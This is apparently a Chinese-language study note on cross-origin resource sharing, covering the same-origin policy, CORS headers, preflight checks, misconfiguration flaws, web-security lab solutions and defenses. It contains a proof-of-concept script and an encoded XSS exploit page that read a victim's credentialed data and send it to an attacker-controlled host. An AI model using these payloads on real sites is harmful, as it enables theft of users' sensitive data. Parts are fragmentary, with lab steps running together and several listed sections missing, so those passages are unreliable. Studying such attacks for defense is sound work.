Chapter15 cross-origin resource sharing

文章目录

  • 1.CORS
    • [1.1 Same-origin policy](#1.1 Same-origin policy)
    • [1.2 同源策略如何实现](#1.2 同源策略如何实现)
    • [1.3 放宽同源策略](#1.3 放宽同源策略)
  • 2.CORS和Access-Control-Allow-Origin响应头
    • [2.1 ACAO头](#2.1 ACAO头)
    • [2.2 实现简单的跨域资源共享](#2.2 实现简单的跨域资源共享)
    • [2.3 处理带凭据的跨域资源请求](#2.3 处理带凭据的跨域资源请求)
    • [2.4 放款CORS规范的限制](#2.4 放款CORS规范的限制)
    • [2.5 Pre-flight checks](#2.5 Pre-flight checks)
    • [2.6 CORS能防御CSRF吗](#2.6 CORS能防御CSRF吗)
  • 3.由于CORS配置不当引发的漏洞
    • [3.1 服务区从客户端指定的Origin生成ACAO](#3.1 服务区从客户端指定的Origin生成ACAO)
      • [3.1.1 案例](#3.1.1 案例)
    • [3.2 解析Origin错误](#3.2 解析Origin错误)
    • [3.3 Origin:null放入白名单](#3.3 Origin:null放入白名单)
      • [3.3.1 案例](#3.3.1 案例)
    • [3.4 通过CORS信任关系利用XSS](#3.4 通过CORS信任关系利用XSS)
    • [3.5 使用配置不当的CORS破坏TLS](#3.5 使用配置不当的CORS破坏TLS)
      • [3.5.1 案例](#3.5.1 案例)
    • [3.6 不需要凭据的CORS攻击(内网低防护)](#3.6 不需要凭据的CORS攻击(内网低防护))
  • 4.如何防御CORS攻击
  • 总结

1.CORS

跨域资源共享(CORS)是一种浏览器机制,它支持对位于给定域之外的资源进行可控访问。它扩展并增加了同源策略(SOP)的灵活性。但是,如果网站的CORS策略配置和实现不当,它也提供了跨域攻击的可能性。CORS不能防止跨站点请求伪造(CSRF)等跨站点攻击

1.1 Same-origin policy

同源策略是一种网络浏览器的安全机制,目的是防止网站之间的相互攻击。

同源指的是同协议、同域名、同端口。同源策略限制一个源上的脚本访问另一个源的数据。需要注意两点:

当浏览器一个源向另一个源发送HTTP请求时,与另一个源相关的任何cookie(包括身份认证cookie)都会作为请求的一部分发送。这意味着响应将在用户会话生成,并包含特定于用户的任何相关数据。

1.2 同源策略如何实现

同源策略通常限制JavaScript代码对跨域加载内容的访问

复制代码
SOP允许<img>标签嵌入图像,允许<video>标签嵌入媒体,允许<script>嵌入JavaScript。
这些外部资源可以由页面加载,但页面上的任何JavaScript都无法读取这些资源的内容。

SOP有各种例外情况:

  • 有些对象跨域可写但不可读,例如来自iframes或new windows的 location 对象或 location.href属性。
  • 有些对象跨域可读但不可写,例如 window 对象的 length 属性(存储页面上使用的帧数)和 closed 属性。
  • replace 函数一般可以在 location 对象上称为跨域函数。
  • 可以跨域调用某些函数。例如,您可以在新窗口中调用函数 close , blur 和 focus 。postMessage 函数也可以在iframe和新窗口上调用,以便从一个域发送消息到另一个域。

SOP在处理cookie时更加宽松,因此通常可以从站点的所有子域访问它们。通过Httponly属性能够降低此风险。

当某个域是 FQDN(完全限定域名)的一部分时,可以利用 document.domain 放宽同源策略。例如:

假设有一个域名 marketing.example.com,想要在example.com读取该域名的内容,两个域都需要将 document.domain 设定为 example.ecom。此时SOP允许两个域之间的互相访问,尽管他们非同源。

1.3 放宽同源策略

SOP是非常严格的,而实际使用中,许多网站需要和子域或第三方网站交互(跨域访问),此时可以使用CORS放松同源策略。

CORS使用一组HTTP头,这些头定义了受信任的web源和相关属性,例如是否经过身份验证的访问。

2.CORS和Access-Control-Allow-Origin响应头

跨域资源共享规范通过使用HTTP头集合,为从一个网站域到另一个网站域的HTTP请求提供了同源策略的可控放松。浏览器允许基于这些标头指令访问跨域请求的响应。

2.1 ACAO头

Access-Control-Allow-Origin 标头包含在一个网站对来自另一个网站的请求的响应中,并标识请求的允许来源。web浏览器将access - control - allow - origin与请求网站的origin进行比较,如果匹配,则允许访问响应。

2.2 实现简单的跨域资源共享

当网站请求资源时,添加 Origin头,服务器返回Access-Control-Allow-Origin头。如果两者匹配,浏览器允许 响应。

ACAO允许多个源,或者null,或者 * ,但是没有浏览器支持多个源,并且对*有限制。

2.3 处理带凭据的跨域资源请求

默认的跨域请求(如 fetch、XMLHttpRequest)不会携带cookie和Authorization等凭据。

但是,通过将CORS Access-Control-Allow-Credentials 头设置为true,跨域服务器在请求携带凭据时允许响应。现在,如果请求网站使用JavaScript声明它正在发送cookie请求:

复制代码
GET / HTTP/1.1 
Origin:
Cookie:JSESSIONID=<value>

HTTP/1.1 200 OK
Access-Control-Allow-Origin:
Access-Control-Allow-Credentitals: true

这里说的凭据是携带目标域的凭据

2.4 放款CORS规范的限制

Access-Control-Allow-Origin支持通配符,如:

复制代码
Access-Control-Allow-Origin: *
通配符不能在域名中使用,只能单独使用,如
Access-Control-Allow-Origin: https://*.com无效

通配符的使用在规范中受到限制,不能将通配符与凭证(身份验证、cookie或客户端证书)的跨域传输结合起来。因此,跨域服务器不允许如下响应:

复制代码
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

考虑到这些限制,一些web服务器根据客户端指定的源动态创建 Access-Control-Allow-Origin 标头。

2.5 Pre-flight checks

CORS 预检请求,用于防止未做CORS适配的老旧服务器因收到非常规请求崩溃。当跨域请求包含非标准HTTP请求或headers时,跨域请求之前会用 OPTIONS 方法进行请求,并且CORS协议需要在允许跨域请求之前对允许的方法和标头进行初始检查。这被称为预检。除了可信来源外,服务器还返回允许的方法列表。例如:

复制代码
一个CORS预检,试图使用PUT方法和Spcial-Request-Header自定义请求头:
OPTIONS /data HTTP/1.1
Host: <some website>
Origin: https://normal-website.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Special-Request-Header
服务器返回响应:
HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Special-Request-Header
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
这个响应说明允许PUT POST OPTIONS方法,允许该请求头,允许发送凭据,并且定义了缓存预检响应的最大时间。

预检增加了额外的浏览开销。

2.6 CORS能防御CSRF吗

CORS不提供针对CSRF的保护。

CORS是对SOP(跨域资源共享是对同源策略)的可控放松,因此配置不当的CORS反而会增加CSRF的可能性或加剧影响。

攻击者无需依赖CORS就能通过HTML表单、跨域资源包含等方式发动CSRF攻击。

3.由于CORS配置不当引发的漏洞

许多现代网站使用CORS来允许从子域和受信任的第三方访问。他们对CORS的实现可能包含错误或过于宽松,这可能导致可利用的漏洞。

3.1 服务区从客户端指定的Origin生成ACAO

一些应用程序需要提供对许多其他域的访问。维护允许域的列表需要持续的努力。因此,一些应用程序采取简单的方法,有效地允许来自任何其他域的访问。

  • 一种方法是响应任意Origin的请求,这意味着任何域名均能访问存在漏洞的域资源。如果响应包含API密钥或CSRF token,攻击者可以通过如下脚本窃取数据:

    var req = new XMLHttpRequest();
    req.onload = reqLinstener;
    req.open('get','https://vulnerable-site.com/sensitive-victim-data',true);
    req.withCredentials = true;
    req.send();

    function reqListener(){
    location='//malicious-website.com/log?key='+this.responseText;
    }
    上面是一个CORS利用的PoC。创建XMLHttpRequest对象,用于发起HTTP请求(现代浏览器普遍支持fetch API, XHT用于旧系统);设置回调函数(当请求成功时,调用reqListener函数处理数据);发起异步请求(非阻塞);强制浏览器携带目标域的凭据;
    最终调用回调函数,将API返回的敏感数据拼接为恶意网站查询参数。

3.1.1 案例

  1. 首先分析端点,服务器在什么时候返回了API信息
    cookie携带sessions,如果删除,会话状态结束,需要重新登陆。

  2. 尝试添加/修改Origin,发现直接被允许,存在CORS配置错误。

  3. URL应该是返回信息的URL(host + path),此时返回数据,我们需要将数据拼接到恶意URL上,不能用json,所以选择responseText作为查询参数,并修改location.href参数。 /exploit?key=" + responseText;

    Document

    Hello Bro

    2.利用XSS,将上面的内容URL编码后,作为XSS的传参

    注意这里是http://利用了中间人攻击。

最终,整个XSS网页为:用户点进来就被骗:

复制代码
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>

    <h1>hello bro</h1>
    <script>
        window.location = "http://stock.0af4008b045232f78147161900e300e8.web-security-academy.net/?productId=%3c%73%63%72%69%70%74%3e%0a%20%20%20%20%20%20%20%20%63%6f%6e%73%74%20%72%65%71%75%65%73%74%20%3d%20%6e%65%77%20%58%4d%4c%48%74%74%70%52%65%71%75%65%73%74%28%29%3b%0a%0a%20%20%20%20%20%20%20%20%72%65%71%75%65%73%74%2e%6f%70%65%6e%28%22%67%65%74%22%2c%20%22%68%74%74%70%73%3a%2f%2f%30%61%66%34%30%30%38%62%30%34%35%32%33%32%66%37%38%31%34%37%31%36%31%39%30%30%65%33%30%30%65%38%2e%77%65%62%2d%73%65%63%75%72%69%74%79%2d%61%63%61%64%65%6d%79%2e%6e%65%74%2f%61%63%63%6f%75%6e%74%44%65%74%61%69%6c%73%22%2c%20%74%72%75%65%29%3b%0a%20%20%20%20%20%20%20%20%72%65%71%75%65%73%74%2e%6f%6e%6c%6f%61%64%20%3d%20%28%29%3d%3e%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%77%69%6e%64%6f%77%2e%6c%6f%63%61%74%69%6f%6e%20%3d%20%20%22%68%74%74%70%73%3a%2f%2f%65%78%70%6c%6f%69%74%2d%30%61%30%39%30%30%62%37%30%34%30%37%33%32%39%65%38%31%33%39%31%35%64%36%30%31%61%64%30%30%34%37%2e%65%78%70%6c%6f%69%74%2d%73%65%72%76%65%72%2e%6e%65%74%2f%65%78%70%6c%6f%69%74%3f%6b%65%79%3d%22%20%2b%20%72%65%71%75%65%73%74%2e%72%65%73%70%6f%6e%73%65%54%65%78%74%3b%0a%0a%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%20%20%20%20%72%65%71%75%65%73%74%2e%77%69%74%68%43%72%65%64%65%6e%74%69%61%6c%73%20%3d%20%74%72%75%65%3b%0a%20%20%20%20%20%20%20%20%72%65%71%75%65%73%74%2e%73%65%6e%64%28%29%3b%0a%0a%0a%20%20%20%20%3c%2f%73%63%72%69%70%74%3e&storeId=1"
    </script> 

</body>
</html>

分析攻击原理:

  1. 诱导用户点击链接
    • 这并不是单纯的垃圾链接,而有着hello bro的真实网站
  2. 自动触发Open Redirect开放重定向。
    • 目标网站信任的站点存在XSS漏洞,在这个XSS注入CORS凭据窃取。
  3. 将数据返回用户控制的恶意网站(通过查询参数拼接)

3.6 不需要凭据的CORS攻击(内网低防护)

大多数CORS攻击依赖准许凭据响应头的存在,Access-Control-Allow-Credentials: true

如果没有这个头,受害者浏览器将拒绝发送他们的cookie,这意味着攻击者只能访问未经身份验证的内容。

一种特殊情况是,攻击者无法直接浏览网站:当它是内网的一部分 。内网通常采用更低的防护,使得攻击者能够找到漏洞并进行进一步的权限提升。例如,内网跨域请求的ACAO可能配置为通配符*

应用服务器信任来自任何来源的没有凭据的资源请求。如果私有IP地址空间内的用户访问公共internet,则可以从使用受害者浏览器作为代理访问内网资源的外部站点执行基于cors的攻击。

4.如何防御CORS攻击

CORS漏洞主要由于配置错误产生,正确配置就可以有效防御:

  • 正确配置跨域请求
  • 只允许受信任的站点
  • 避免白名单设置null
  • 避免在内网使用通配符
  • CORS定义了浏览器行为,本质是用户行为,不能替代服务端安全策略。

总结

  1. 常见的CORS配置错误

    • 对所有Origin给出响应
    • 以后缀或前缀匹配响应站点
    • 将null添加到白名单
    • 即使只信任https的站点,我们也可以尝试将其信任站点修改为http发送,如果该站点存在xss那么有可能存在中间人攻击。
  2. CORS能够防御CSRF吗?

    不能,错误的CORS配置还会增加CSRF的风险。

相关推荐
是一个Bug7 分钟前
Agent(智能体)应用 的入门学习路径
学习·机器学习
2301_8090511415 分钟前
Linux 网络编程 学习笔记
linux·网络·学习
eggcode1 小时前
【Qt学习】Linux(ARM架构)在线安装Qt6.x
linux·qt·学习·arm
_李小白3 小时前
【android opencv学习笔记】Day 26: 滤波算法之低通滤波与图像缩放插值
android·opencv·学习
Bechamz3 小时前
大数据开发学习Day43
大数据·学习
happymaker06266 小时前
SpringBoot学习日记——DAY06(整合MyBatisPlus的其他功能)
java·spring boot·学习
星夜夏空996 小时前
FreeRTOS学习(3)——FreeRTOS的移植与剪裁
学习
嵌入式×边缘AI:打怪升级日志7 小时前
硬件清单与学习进度存档
学习
Engineer邓祥浩9 小时前
软件设计师备考 第0章 题型分布、示例、学习路线
学习·职场和发展